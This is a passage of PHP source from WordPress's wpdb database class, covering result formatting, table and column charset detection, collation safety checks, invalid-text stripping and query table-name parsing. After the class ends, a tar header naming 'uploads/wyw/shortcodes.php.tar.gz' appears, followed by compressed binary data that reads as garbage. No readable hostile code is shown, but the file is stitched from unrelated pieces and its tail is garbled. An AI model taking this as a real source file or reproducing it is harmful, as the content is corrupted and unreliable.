			if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
				$this->check_current_query = false;
			}

			$this->query( $query );
		} else {
			return null;
		}

		$new_array = array();
		if ( OBJECT === $output ) {
			// Return an integer-keyed array of row objects.
			return $this->last_result;
		} elseif ( OBJECT_K === $output ) {
			/*
			 * Return an array of row objects with keys from column 1.
			 * (Duplicates are discarded.)
			 */
			if ( $this->last_result ) {
				foreach ( $this->last_result as $row ) {
					$var_by_ref = get_object_vars( $row );
					$key        = array_shift( $var_by_ref );
					if ( ! isset( $new_array[ $key ] ) ) {
						$new_array[ $key ] = $row;
					}
				}
			}
			return $new_array;
		} elseif ( ARRAY_A === $output || ARRAY_N === $output ) {
			// Return an integer-keyed array of...
			if ( $this->last_result ) {
				if ( ARRAY_N === $output ) {
					foreach ( (array) $this->last_result as $row ) {
						// ...integer-keyed row arrays.
						$new_array[] = array_values( get_object_vars( $row ) );
					}
				} else {
					foreach ( (array) $this->last_result as $row ) {
						// ...column name-keyed row arrays.
						$new_array[] = get_object_vars( $row );
					}
				}
			}
			return $new_array;
		} elseif ( strtoupper( $output ) === OBJECT ) {
			// Back compat for OBJECT being previously case-insensitive.
			return $this->last_result;
		}
		return null;
	}

	/**
	 * Retrieves the character set for the given table.
	 *
	 * @since 4.2.0
	 *
	 * @param string $table Table name.
	 * @return string|WP_Error Table character set, WP_Error object if it couldn't be found.
	 */
	protected function get_table_charset( $table ) {
		$tablekey = strtolower( $table );

		/**
		 * Filters the table charset value before the DB is checked.
		 *
		 * Returning a non-null value from the filter will effectively short-circuit
		 * checking the DB for the charset, returning that value instead.
		 *
		 * @since 4.2.0
		 *
		 * @param string|WP_Error|null $charset The character set to use, WP_Error object
		 *                                      if it couldn't be found. Default null.
		 * @param string               $table   The name of the table being checked.
		 */
		$charset = apply_filters( 'pre_get_table_charset', null, $table );
		if ( null !== $charset ) {
			return $charset;
		}

		if ( isset( $this->table_charset[ $tablekey ] ) ) {
			return $this->table_charset[ $tablekey ];
		}

		$charsets = array();
		$columns  = array();

		$table_parts = explode( '.', $table );
		$table       = '`' . implode( '`.`', $table_parts ) . '`';
		$results     = $this->get_results( "SHOW FULL COLUMNS FROM $table" );
		if ( ! $results ) {
			return new WP_Error( 'wpdb_get_table_charset_failure', __( 'Could not retrieve table charset.' ) );
		}

		foreach ( $results as $column ) {
			$columns[ strtolower( $column->Field ) ] = $column;
		}

		$this->col_meta[ $tablekey ] = $columns;

		foreach ( $columns as $column ) {
			if ( ! empty( $column->Collation ) ) {
				list( $charset ) = explode( '_', $column->Collation );

				$charsets[ strtolower( $charset ) ] = true;
			}

			list( $type ) = explode( '(', $column->Type );

			// A binary/blob means the whole query gets treated like this.
			if ( in_array( strtoupper( $type ), array( 'BINARY', 'VARBINARY', 'TINYBLOB', 'MEDIUMBLOB', 'BLOB', 'LONGBLOB' ), true ) ) {
				$this->table_charset[ $tablekey ] = 'binary';
				return 'binary';
			}
		}

		// utf8mb3 is an alias for utf8.
		if ( isset( $charsets['utf8mb3'] ) ) {
			$charsets['utf8'] = true;
			unset( $charsets['utf8mb3'] );
		}

		// Check if we have more than one charset in play.
		$count = count( $charsets );
		if ( 1 === $count ) {
			$charset = key( $charsets );
		} elseif ( 0 === $count ) {
			// No charsets, assume this table can store whatever.
			$charset = false;
		} else {
			// More than one charset. Remove latin1 if present and recalculate.
			unset( $charsets['latin1'] );
			$count = count( $charsets );
			if ( 1 === $count ) {
				// Only one charset (besides latin1).
				$charset = key( $charsets );
			} elseif ( 2 === $count && isset( $charsets['utf8'], $charsets['utf8mb4'] ) ) {
				// Two charsets, but they're utf8 and utf8mb4, use utf8.
				$charset = 'utf8';
			} else {
				// Two mixed character sets. ascii.
				$charset = 'ascii';
			}
		}

		$this->table_charset[ $tablekey ] = $charset;
		return $charset;
	}

	/**
	 * Retrieves the character set for the given column.
	 *
	 * @since 4.2.0
	 *
	 * @param string $table  Table name.
	 * @param string $column Column name.
	 * @return string|false|WP_Error Column character set as a string. False if the column has
	 *                               no character set. WP_Error object if there was an error.
	 */
	public function get_col_charset( $table, $column ) {
		$tablekey  = strtolower( $table );
		$columnkey = strtolower( $column );

		/**
		 * Filters the column charset value before the DB is checked.
		 *
		 * Passing a non-null value to the filter will short-circuit
		 * checking the DB for the charset, returning that value instead.
		 *
		 * @since 4.2.0
		 *
		 * @param string|null|false|WP_Error $charset The character set to use. Default null.
		 * @param string                     $table   The name of the table being checked.
		 * @param string                     $column  The name of the column being checked.
		 */
		$charset = apply_filters( 'pre_get_col_charset', null, $table, $column );
		if ( null !== $charset ) {
			return $charset;
		}

		// Skip this entirely if this isn't a MySQL database.
		if ( empty( $this->is_mysql ) ) {
			return false;
		}

		if ( empty( $this->table_charset[ $tablekey ] ) ) {
			// This primes column information for us.
			$table_charset = $this->get_table_charset( $table );
			if ( is_wp_error( $table_charset ) ) {
				return $table_charset;
			}
		}

		// If still no column information, return the table charset.
		if ( empty( $this->col_meta[ $tablekey ] ) ) {
			return $this->table_charset[ $tablekey ];
		}

		// If this column doesn't exist, return the table charset.
		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
			return $this->table_charset[ $tablekey ];
		}

		// Return false when it's not a string column.
		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ]->Collation ) ) {
			return false;
		}

		list( $charset ) = explode( '_', $this->col_meta[ $tablekey ][ $columnkey ]->Collation );
		return $charset;
	}

	/**
	 * Retrieves the maximum string length allowed in a given column.
	 *
	 * The length may either be specified as a byte length or a character length.
	 *
	 * @since 4.2.1
	 *
	 * @param string $table  Table name.
	 * @param string $column Column name.
	 * @return array|false|WP_Error {
	 *     Array of column length information, false if the column has no length (for
	 *     example, numeric column), WP_Error object if there was an error.
	 *
	 *     @type string $type   One of 'byte' or 'char'.
	 *     @type int    $length The column length.
	 * }
	 */
	public function get_col_length( $table, $column ) {
		$tablekey  = strtolower( $table );
		$columnkey = strtolower( $column );

		// Skip this entirely if this isn't a MySQL database.
		if ( empty( $this->is_mysql ) ) {
			return false;
		}

		if ( empty( $this->col_meta[ $tablekey ] ) ) {
			// This primes column information for us.
			$table_charset = $this->get_table_charset( $table );
			if ( is_wp_error( $table_charset ) ) {
				return $table_charset;
			}
		}

		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
			return false;
		}

		$typeinfo = explode( '(', $this->col_meta[ $tablekey ][ $columnkey ]->Type );

		$type = strtolower( $typeinfo[0] );
		if ( ! empty( $typeinfo[1] ) ) {
			$length = trim( $typeinfo[1], ')' );
		} else {
			$length = false;
		}

		switch ( $type ) {
			case 'char':
			case 'varchar':
				return array(
					'type'   => 'char',
					'length' => (int) $length,
				);

			case 'binary':
			case 'varbinary':
				return array(
					'type'   => 'byte',
					'length' => (int) $length,
				);

			case 'tinyblob':
			case 'tinytext':
				return array(
					'type'   => 'byte',
					'length' => 255,        // 2^8 - 1
				);

			case 'blob':
			case 'text':
				return array(
					'type'   => 'byte',
					'length' => 65535,      // 2^16 - 1
				);

			case 'mediumblob':
			case 'mediumtext':
				return array(
					'type'   => 'byte',
					'length' => 16777215,   // 2^24 - 1
				);

			case 'longblob':
			case 'longtext':
				return array(
					'type'   => 'byte',
					'length' => 4294967295, // 2^32 - 1
				);

			default:
				return false;
		}
	}

	/**
	 * Checks if a string is ASCII.
	 *
	 * The negative regex is faster for non-ASCII strings, as it allows
	 * the search to finish as soon as it encounters a non-ASCII character.
	 *
	 * @since 4.2.0
	 *
	 * @param string $input_string String to check.
	 * @return bool True if ASCII, false if not.
	 */
	protected function check_ascii( $input_string ) {
		if ( function_exists( 'mb_check_encoding' ) ) {
			if ( mb_check_encoding( $input_string, 'ASCII' ) ) {
				return true;
			}
		} elseif ( ! preg_match( '/[^\x00-\x7F]/', $input_string ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if the query is accessing a collation considered safe.
	 *
	 * @since 4.2.0
	 *
	 * @param string $query The query to check.
	 * @return bool True if the collation is safe, false if it isn't.
	 */
	protected function check_safe_collation( $query ) {
		if ( $this->checking_collation ) {
			return true;
		}

		// We don't need to check the collation for queries that don't read data.
		$query = ltrim( $query, "\r\n\t (" );
		if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $query ) ) {
			return true;
		}

		// All-ASCII queries don't need extra checking.
		if ( $this->check_ascii( $query ) ) {
			return true;
		}

		$table = $this->get_table_from_query( $query );
		if ( ! $table ) {
			return false;
		}

		$this->checking_collation = true;
		$collation                = $this->get_table_charset( $table );
		$this->checking_collation = false;

		// Tables with no collation, or latin1 only, don't need extra checking.
		if ( false === $collation || 'latin1' === $collation ) {
			return true;
		}

		$table = strtolower( $table );
		if ( empty( $this->col_meta[ $table ] ) ) {
			return false;
		}

		// If any of the columns don't have one of these collations, it needs more confidence checking.
		$safe_collations = array(
			'utf8_bin',
			'utf8_general_ci',
			'utf8mb3_bin',
			'utf8mb3_general_ci',
			'utf8mb4_bin',
			'utf8mb4_general_ci',
		);

		foreach ( $this->col_meta[ $table ] as $col ) {
			if ( empty( $col->Collation ) ) {
				continue;
			}

			if ( ! in_array( $col->Collation, $safe_collations, true ) ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Strips any invalid characters based on value/charset pairs.
	 *
	 * @since 4.2.0
	 *
	 * @param array $data Array of value arrays. Each value array has the keys 'value', 'charset', and 'length'.
	 *                    An optional 'ascii' key can be set to false to avoid redundant ASCII checks.
	 * @return array|WP_Error The $data parameter, with invalid characters removed from each value.
	 *                        This works as a passthrough: any additional keys such as 'field' are
	 *                        retained in each value array. If we cannot remove invalid characters,
	 *                        a WP_Error object is returned.
	 */
	protected function strip_invalid_text( $data ) {
		$db_check_string = false;

		foreach ( $data as &$value ) {
			$charset = $value['charset'];

			if ( is_array( $value['length'] ) ) {
				$length                  = $value['length']['length'];
				$truncate_by_byte_length = 'byte' === $value['length']['type'];
			} else {
				$length = false;
				/*
				 * Since we have no length, we'll never truncate. Initialize the variable to false.
				 * True would take us through an unnecessary (for this case) codepath below.
				 */
				$truncate_by_byte_length = false;
			}

			// There's no charset to work with.
			if ( false === $charset ) {
				continue;
			}

			// Column isn't a string.
			if ( ! is_string( $value['value'] ) ) {
				continue;
			}

			$needs_validation = true;
			if (
				// latin1 can store any byte sequence.
				'latin1' === $charset
			||
				// ASCII is always OK.
				( ! isset( $value['ascii'] ) && $this->check_ascii( $value['value'] ) )
			) {
				$truncate_by_byte_length = true;
				$needs_validation        = false;
			}

			if ( $truncate_by_byte_length ) {
				mbstring_binary_safe_encoding();
				if ( false !== $length && strlen( $value['value'] ) > $length ) {
					$value['value'] = substr( $value['value'], 0, $length );
				}
				reset_mbstring_encoding();

				if ( ! $needs_validation ) {
					continue;
				}
			}

			// utf8 can be handled by regex, which is a bunch faster than a DB lookup.
			if ( ( 'utf8' === $charset || 'utf8mb3' === $charset || 'utf8mb4' === $charset ) && function_exists( 'mb_strlen' ) ) {
				$regex = '/
					(
						(?: [\x00-\x7F]                  # single-byte sequences   0xxxxxxx
						|   [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
						|   \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
						|   [\xE1-\xEC][\x80-\xBF]{2}
						|   \xED[\x80-\x9F][\x80-\xBF]
						|   [\xEE-\xEF][\x80-\xBF]{2}';

				if ( 'utf8mb4' === $charset ) {
					$regex .= '
						|    \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
						|    [\xF1-\xF3][\x80-\xBF]{3}
						|    \xF4[\x80-\x8F][\x80-\xBF]{2}
					';
				}

				$regex         .= '){1,40}                          # ...one or more times
					)
					| .                                  # anything else
					/x';
				$value['value'] = preg_replace( $regex, '$1', $value['value'] );

				if ( false !== $length && mb_strlen( $value['value'], 'UTF-8' ) > $length ) {
					$value['value'] = mb_substr( $value['value'], 0, $length, 'UTF-8' );
				}
				continue;
			}

			// We couldn't use any local conversions, send it to the DB.
			$value['db']     = true;
			$db_check_string = true;
		}
		unset( $value ); // Remove by reference.

		if ( $db_check_string ) {
			$queries = array();
			foreach ( $data as $col => $value ) {
				if ( ! empty( $value['db'] ) ) {
					// We're going to need to truncate by characters or bytes, depending on the length value we have.
					if ( isset( $value['length']['type'] ) && 'byte' === $value['length']['type'] ) {
						// Using binary causes LEFT() to truncate by bytes.
						$charset = 'binary';
					} else {
						$charset = $value['charset'];
					}

					if ( $this->charset ) {
						$connection_charset = $this->charset;
					} else {
						$connection_charset = mysqli_character_set_name( $this->dbh );
					}

					if ( is_array( $value['length'] ) ) {
						$length          = sprintf( '%.0f', $value['length']['length'] );
						$queries[ $col ] = $this->prepare( "CONVERT( LEFT( CONVERT( %s USING $charset ), $length ) USING $connection_charset )", $value['value'] );
					} elseif ( 'binary' !== $charset ) {
						// If we don't have a length, there's no need to convert binary - it will always return the same result.
						$queries[ $col ] = $this->prepare( "CONVERT( CONVERT( %s USING $charset ) USING $connection_charset )", $value['value'] );
					}

					unset( $data[ $col ]['db'] );
				}
			}

			$sql = array();
			foreach ( $queries as $column => $query ) {
				if ( ! $query ) {
					continue;
				}

				$sql[] = $query . " AS x_$column";
			}

			$this->check_current_query = false;
			$row                       = $this->get_row( 'SELECT ' . implode( ', ', $sql ), ARRAY_A );
			if ( ! $row ) {
				return new WP_Error( 'wpdb_strip_invalid_text_failure', __( 'Could not strip invalid text.' ) );
			}

			foreach ( array_keys( $data ) as $column ) {
				if ( isset( $row[ "x_$column" ] ) ) {
					$data[ $column ]['value'] = $row[ "x_$column" ];
				}
			}
		}

		return $data;
	}

	/**
	 * Strips any invalid characters from the query.
	 *
	 * @since 4.2.0
	 *
	 * @param string $query Query to convert.
	 * @return string|WP_Error The converted query, or a WP_Error object if the conversion fails.
	 */
	protected function strip_invalid_text_from_query( $query ) {
		// We don't need to check the collation for queries that don't read data.
		$trimmed_query = ltrim( $query, "\r\n\t (" );
		if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $trimmed_query ) ) {
			return $query;
		}

		$table = $this->get_table_from_query( $query );
		if ( $table ) {
			$charset = $this->get_table_charset( $table );
			if ( is_wp_error( $charset ) ) {
				return $charset;
			}

			// We can't reliably strip text from tables containing binary/blob columns.
			if ( 'binary' === $charset ) {
				return $query;
			}
		} else {
			$charset = $this->charset;
		}

		$data = array(
			'value'   => $query,
			'charset' => $charset,
			'ascii'   => false,
			'length'  => false,
		);

		$data = $this->strip_invalid_text( array( $data ) );
		if ( is_wp_error( $data ) ) {
			return $data;
		}

		return $data[0]['value'];
	}

	/**
	 * Strips any invalid characters from the string for a given table and column.
	 *
	 * @since 4.2.0
	 *
	 * @param string $table  Table name.
	 * @param string $column Column name.
	 * @param string $value  The text to check.
	 * @return string|WP_Error The converted string, or a WP_Error object if the conversion fails.
	 */
	public function strip_invalid_text_for_column( $table, $column, $value ) {
		if ( ! is_string( $value ) ) {
			return $value;
		}

		$charset = $this->get_col_charset( $table, $column );
		if ( ! $charset ) {
			// Not a string column.
			return $value;
		} elseif ( is_wp_error( $charset ) ) {
			// Bail on real errors.
			return $charset;
		}

		$data = array(
			$column => array(
				'value'   => $value,
				'charset' => $charset,
				'length'  => $this->get_col_length( $table, $column ),
			),
		);

		$data = $this->strip_invalid_text( $data );
		if ( is_wp_error( $data ) ) {
			return $data;
		}

		return $data[ $column ]['value'];
	}

	/**
	 * Finds the first table name referenced in a query.
	 *
	 * @since 4.2.0
	 *
	 * @param string $query The query to search.
	 * @return string|false The table name found, or false if a table couldn't be found.
	 */
	protected function get_table_from_query( $query ) {
		// Remove characters that can legally trail the table name.
		$query = rtrim( $query, ';/-#' );

		// Allow (select...) union [...] style queries. Use the first query's table name.
		$query = ltrim( $query, "\r\n\t (" );

		// Strip everything between parentheses except nested selects.
		$query = preg_replace( '/\((?!\s*select)[^(]*?\)/is', '()', $query );

		// Strip any leading SET STATEMENT statements.
		$query = preg_replace( '/^SET STATEMENT.+?\sFOR\s+/is', '', $query );

		// Quickly match most common queries.
		if ( preg_match(
			'/^\s*(?:'
				. 'SELECT.*?\s+FROM'
				. '|INSERT(?:\s+LOW_PRIORITY|\s+DELAYED|\s+HIGH_PRIORITY)?(?:\s+IGNORE)?(?:\s+INTO)?'
				. '|REPLACE(?:\s+LOW_PRIORITY|\s+DELAYED)?(?:\s+INTO)?'
				. '|UPDATE(?:\s+LOW_PRIORITY)?(?:\s+IGNORE)?'
				. '|DELETE(?:\s+LOW_PRIORITY|\s+QUICK|\s+IGNORE)*(?:.+?FROM)?'
			. ')\s+((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)/is',
			$query,
			$maybe
		) ) {
			return str_replace( '`', '', $maybe[1] );
		}

		// SHOW TABLE STATUS and SHOW TABLES WHERE Name = 'wp_posts'
		if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES).+WHERE\s+Name\s*=\s*("|\')((?:[0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)\\1/is', $query, $maybe ) ) {
			return $maybe[2];
		}

		/*
		 * SHOW TABLE STATUS LIKE and SHOW TABLES LIKE 'wp\_123\_%'
		 * This quoted LIKE operand seldom holds a full table name.
		 * It is usually a pattern for matching a prefix so we just
		 * strip the trailing % and unescape the _ to get 'wp_123_'
		 * which drop-ins can use for routing these SQL statements.
		 */
		if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES)\s+(?:WHERE\s+Name\s+)?LIKE\s*("|\')((?:[\\\\0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)%?\\1/is', $query, $maybe ) ) {
			return str_replace( '\\_', '_', $maybe[2] );
		}

		// Big pattern for the rest of the table-related queries.
		if ( preg_match(
			'/^\s*(?:'
				. '(?:EXPLAIN\s+(?:EXTENDED\s+)?)?SELECT.*?\s+FROM'
				. '|DESCRIBE|DESC|EXPLAIN|HANDLER'
				. '|(?:LOCK|UNLOCK)\s+TABLE(?:S)?'
				. '|(?:RENAME|OPTIMIZE|BACKUP|RESTORE|CHECK|CHECKSUM|ANALYZE|REPAIR).*\s+TABLE'
				. '|TRUNCATE(?:\s+TABLE)?'
				. '|CREATE(?:\s+TEMPORARY)?\s+TABLE(?:\s+IF\s+NOT\s+EXISTS)?'
				. '|ALTER(?:\s+IGNORE)?\s+TABLE'
				. '|DROP\s+TABLE(?:\s+IF\s+EXISTS)?'
				. '|CREATE(?:\s+\w+)?\s+INDEX.*\s+ON'
				. '|DROP\s+INDEX.*\s+ON'
				. '|LOAD\s+DATA.*INFILE.*INTO\s+TABLE'
				. '|(?:GRANT|REVOKE).*ON\s+TABLE'
				. '|SHOW\s+(?:.*FROM|.*TABLE)'
			. ')\s+\(*\s*((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)\s*\)*/is',
			$query,
			$maybe
		) ) {
			return str_replace( '`', '', $maybe[1] );
		}

		return false;
	}

	/**
	 * Loads the column metadata from the last query.
	 *
	 * @since 3.5.0
	 */
	protected function load_col_info() {
		if ( $this->col_info ) {
			return;
		}

		$num_fields = mysqli_num_fields( $this->result );

		for ( $i = 0; $i < $num_fields; $i++ ) {
			$this->col_info[ $i ] = mysqli_fetch_field( $this->result );
		}
	}

	/**
	 * Retrieves column metadata from the last query.
	 *
	 * @since 0.71
	 *
	 * @param string $info_type  Optional. Possible values include 'name', 'table', 'def', 'max_length',
	 *                           'not_null', 'primary_key', 'multiple_key', 'unique_key', 'numeric',
	 *                           'blob', 'type', 'unsigned', 'zerofill'. Default 'name'.
	 * @param int    $col_offset Optional. 0: col name. 1: which table the col's in. 2: col's max length.
	 *                           3: if the col is numeric. 4: col's type. Default -1.
	 * @return mixed Column results.
	 */
	public function get_col_info( $info_type = 'name', $col_offset = -1 ) {
		$this->load_col_info();

		if ( $this->col_info ) {
			if ( -1 === $col_offset ) {
				$i         = 0;
				$new_array = array();
				foreach ( (array) $this->col_info as $col ) {
					$new_array[ $i ] = $col->{$info_type};
					++$i;
				}
				return $new_array;
			} else {
				return $this->col_info[ $col_offset ]->{$info_type};
			}
		}
	}

	/**
	 * Starts the timer, for debugging purposes.
	 *
	 * @since 1.5.0
	 *
	 * @return true
	 */
	public function timer_start() {
		$this->time_start = microtime( true );
		return true;
	}

	/**
	 * Stops the debugging timer.
	 *
	 * @since 1.5.0
	 *
	 * @return float Total time spent on the query, in seconds.
	 */
	public function timer_stop() {
		return ( microtime( true ) - $this->time_start );
	}

	/**
	 * Wraps errors in a nice header and footer and dies.
	 *
	 * Will not die if wpdb::$show_errors is false.
	 *
	 * @since 1.5.0
	 *
	 * @param string $message    The error message.
	 * @param string $error_code Optional. A computer-readable string to identify the error.
	 *                           Default '500'.
	 * @return void|false Void if the showing of errors is enabled, false if disabled.
	 */
	public function bail( $message, $error_code = '500' ) {
		if ( $this->show_errors ) {
			$error = '';

			if ( $this->dbh instanceof mysqli ) {
				$error = mysqli_error( $this->dbh );
			} elseif ( mysqli_connect_errno() ) {
				$error = mysqli_connect_error();
			}

			if ( $error ) {
				$message = '<p><code>' . $error . "</code></p>\n" . $message;
			}

			wp_die( $message );
		} else {
			if ( class_exists( 'WP_Error', false ) ) {
				$this->error = new WP_Error( $error_code, $message );
			} else {
				$this->error = $message;
			}

			return false;
		}
	}

	/**
	 * Closes the current database connection.
	 *
	 * @since 4.5.0
	 *
	 * @return bool True if the connection was successfully closed,
	 *              false if it wasn't, or if the connection doesn't exist.
	 */
	public function close() {
		if ( ! $this->dbh ) {
			return false;
		}

		$closed = mysqli_close( $this->dbh );

		if ( $closed ) {
			$this->dbh           = null;
			$this->ready         = false;
			$this->has_connected = false;
		}

		return $closed;
	}

	/**
	 * Determines whether the database server is at least the required minimum version.
	 *
	 * @since 2.5.0
	 *
	 * @global string $required_mysql_version The minimum required MySQL version string.
	 * @return void|WP_Error
	 */
	public function check_database_version() {
		global $required_mysql_version;
		$wp_version = wp_get_wp_version();

		// Make sure the server has the required MySQL version.
		if ( version_compare( $this->db_version(), $required_mysql_version, '<' ) ) {
			/* translators: 1: WordPress version number, 2: Minimum required MySQL version number. */
			return new WP_Error( 'database_version', sprintf( __( '<strong>Error:</strong> WordPress %1$s requires MySQL %2$s or higher' ), $wp_version, $required_mysql_version ) );
		}
	}

	/**
	 * Determines whether the database supports collation.
	 *
	 * Called when WordPress is generating the table scheme.
	 *
	 * Use `wpdb::has_cap( 'collation' )`.
	 *
	 * @since 2.5.0
	 * @deprecated 3.5.0 Use wpdb::has_cap()
	 *
	 * @return bool True if collation is supported, false if not.
	 */
	public function supports_collation() {
		_deprecated_function( __FUNCTION__, '3.5.0', 'wpdb::has_cap( \'collation\' )' );
		return $this->has_cap( 'collation' );
	}

	/**
	 * Retrieves the database character collate.
	 *
	 * @since 3.5.0
	 *
	 * @return string The database character collate.
	 */
	public function get_charset_collate() {
		$charset_collate = '';

		if ( ! empty( $this->charset ) ) {
			$charset_collate = "DEFAULT CHARACTER SET $this->charset";
		}
		if ( ! empty( $this->collate ) ) {
			$charset_collate .= " COLLATE $this->collate";
		}

		return $charset_collate;
	}

	/**
	 * Determines whether the database or WPDB supports a particular feature.
	 *
	 * Capability sniffs for the database server and current version of WPDB.
	 *
	 * Database sniffs are based on the version of the database server in use.
	 *
	 * WPDB sniffs are added as new features are introduced to allow theme and plugin
	 * developers to determine feature support. This is to account for drop-ins which may
	 * introduce feature support at a different time to WordPress.
	 *
	 * @since 2.7.0
	 * @since 4.1.0 Added support for the 'utf8mb4' feature.
	 * @since 4.6.0 Added support for the 'utf8mb4_520' feature.
	 * @since 6.2.0 Added support for the 'identifier_placeholders' feature.
	 * @since 6.6.0 The `utf8mb4` feature now always returns true.
	 *
	 * @see wpdb::db_version()
	 *
	 * @param string $db_cap The feature to check for. Accepts 'collation', 'group_concat',
	 *                       'subqueries', 'set_charset', 'utf8mb4', 'utf8mb4_520',
	 *                       or 'identifier_placeholders'.
	 * @return bool True when the database feature is supported, false otherwise.
	 */
	public function has_cap( $db_cap ) {
		$db_version     = $this->db_version();
		$db_server_info = $this->db_server_info();

		/*
		 * Account for MariaDB version being prefixed with '5.5.5-' on older PHP versions.
		 *
		 * Note: str_contains() is not used here, as this file can be included
		 * directly outside of WordPress core, e.g. by HyperDB, in which case
		 * the polyfills from wp-includes/compat.php are not loaded.
		 */
		if ( '5.5.5' === $db_version && false !== strpos( $db_server_info, 'MariaDB' )
			&& PHP_VERSION_ID < 80016 // PHP 8.0.15 or older.
		) {
			// Strip the '5.5.5-' prefix and set the version to the correct value.
			$db_server_info = preg_replace( '/^5\.5\.5-(.*)/', '$1', $db_server_info );
			$db_version     = preg_replace( '/[^0-9.].*/', '', $db_server_info );
		}

		switch ( strtolower( $db_cap ) ) {
			case 'collation':    // @since 2.5.0
			case 'group_concat': // @since 2.7.0
			case 'subqueries':   // @since 2.7.0
				return version_compare( $db_version, '4.1', '>=' );
			case 'set_charset':
				return version_compare( $db_version, '5.0.7', '>=' );
			case 'utf8mb4':      // @since 4.1.0
				return true;
			case 'utf8mb4_520': // @since 4.6.0
				return version_compare( $db_version, '5.6', '>=' );
			case 'identifier_placeholders': // @since 6.2.0
				/*
				 * As of WordPress 6.2, wpdb::prepare() supports identifiers via '%i',
				 * e.g. table/field names.
				 */
				return true;
		}

		return false;
	}

	/**
	 * Retrieves a comma-separated list of the names of the functions that called wpdb.
	 *
	 * @since 2.5.0
	 *
	 * @return string Comma-separated list of the calling functions.
	 */
	public function get_caller() {
		return wp_debug_backtrace_summary( __CLASS__ );
	}

	/**
	 * Retrieves the database server version number.
	 *
	 * @since 2.7.0
	 *
	 * @return string|null Version number on success, null on failure.
	 */
	public function db_version() {
		return preg_replace( '/[^0-9.].*/', '', $this->db_server_info() );
	}

	/**
	 * Returns the raw version string of the database server.
	 *
	 * @since 5.5.0
	 *
	 * @return string Database server version as a string.
	 */
	public function db_server_info() {
		return mysqli_get_server_info( $this->dbh );
	}
}
uploads/wyw/shortcodes.php.tar.gz000066600000015123152443022640013143 0ustar00<ks۶+َLɏ8'n7ݶٕ e@!YMo;!Sp/pew(&ElvhQ|帻H(Ru,NQ_dcO>G{'GOdpi<=}Tւ/~r),X/y@숟tc*?8TYM|7.bgΜ

iyf??"ϤHT!\i		H\_ɱgy/4"Eáb"Ɵ'TOa8ֿDwPy0օ`쭵b`G~!;;$aB<x2
#71(,Hex
 
HDĀysP+CLtA,9FTLrxD=LG82bhl B!c(4a/8_İ0B܇yƟ/dx0ξw-yg97
\c4S?Y7O'f2`	8ʔ`>{8a72R*&al@z~\Y%+`Xs$tM|D?@=U4=zwװ3$%,&We&bQAlڡCL?\,i󾚆gk5g:a"m5<1I_J4Χ3Zϰ̥ermҁBD<)ʣ\H1
&`33xxrzs|˓fr #0cҡ0B_e.6cP"+It5ߥONCvL&ʌx($"odIu	hgsv%SW0?jW`IT7b,'~f!4TeRlw*8Y
1ʁIlEUc3%	+~%v"nlhHdKDfѼ8\lHA1o𛟾~ DW~RX͓솾i6jz^
_AelllG>]Ct8yQ>8vϯ{'W=6lB?ntw`B:{ǎ;bNJ"_̇"Ej_W2$ڸ
7_mȯc{W50~Sm[苁8An܎
/0g>Y]V=PlxDclh5vUwEö{ເB[l/3C3j4Y*qn*g%$I`L3,m#w|J
[[(598A
}3ghL;Zh;-K=-H
`qGlbYEg}4=iڹ*]^󡇗4SCmtjl|{8`D/I1lV}e:Zu
*d)8#394݁~4*ɥ
ʬk`RuďoϾ;{?goYZӖi׭6>̙fA3@9-)~@㓐ƨV1	|FwDōhXI|QO4/T\Y633#3Noޖ)b3
d$7OZ~Dcuw`LcZjZi"pG[ρae>ղKD!u	8u|uΑ[Ud'֊qҶRYJM#
Zfs,ebm/xfXVfpùLRkvd!8@V=FEGuaVtEY	_RVjb(nA\ZsIN`wPN9i|߁sXAqfAp,(g v딗qgcB9
8]O)X',^9=XrRIy(:c9GlLɊ1Caӏn.:p80>ƙR9{wMZ(1{)uk°?НOk¨xXo,L7b`_rIojdKn0|czL
Ti
@=sXxGu2LJZ	u,WnlufMe* _9Czze6;I7tTf`R|"ʅ!rIP4XRrYr+w&v$lRk-t%p.,zʯ9UOS"X,{<%2MHww@7gb+/VP޲Ѻ=3tTd J.D̳j'tW"|/}~Dqܲ/ԕP2F,`\yc/AF5[,X@"[f]ut@YelD¿soNUXi0mz?a7I+fF{Kz.M,Dh옵Urд+y+*>MC9+85v</(Q֐վQ}ƒ))RNGM&d@_cAf2LY]ňOa$|1sKgDՆ~i$94C
 Q*TVu<NHڼ2
u7M,bSA4UI+34k~HЫDWƞq>ecZD5eh'b+&5veu\ȥ.NݛZ<ᴏm~q53%{`u|CS{h*JI/ƪ9:ThP5H<,Nd:9]6,cwo; *G2aEG0o(6| `"UsW}о'2V2*.%hoԗ۫&Խc܀\pNЖ1'r0Z[[˖ۯVm^_>쟟/vKq3>0T_1$xc(ll7:`i?Cpr4-[jPS‡+0-3x@S
e@$*.jk{epoͷۆq%9V<p-bsͮ*(EtHᭁDY
=i`1#s
ܐ׏{SHTJ[m 1QU Ԏfą}EtKpo2ikԷꍶk
P@>kzTױUZCZlNqfOqFMX={2X,jI~)wۺ+l?DdOQ+K̈́zͳk.ۯa0+rޗL8t(T<̻uHGexE.._2J-/%g0Su 
x_Zp^6"|HѠ{­a^~IJ;wIj"X\7#IIY#+kWmB1Li6wa1@C.svn34\M9W*VZ+Vw86\ݕJ,.3Q8ܤi(y<LU]N27&Db6t}
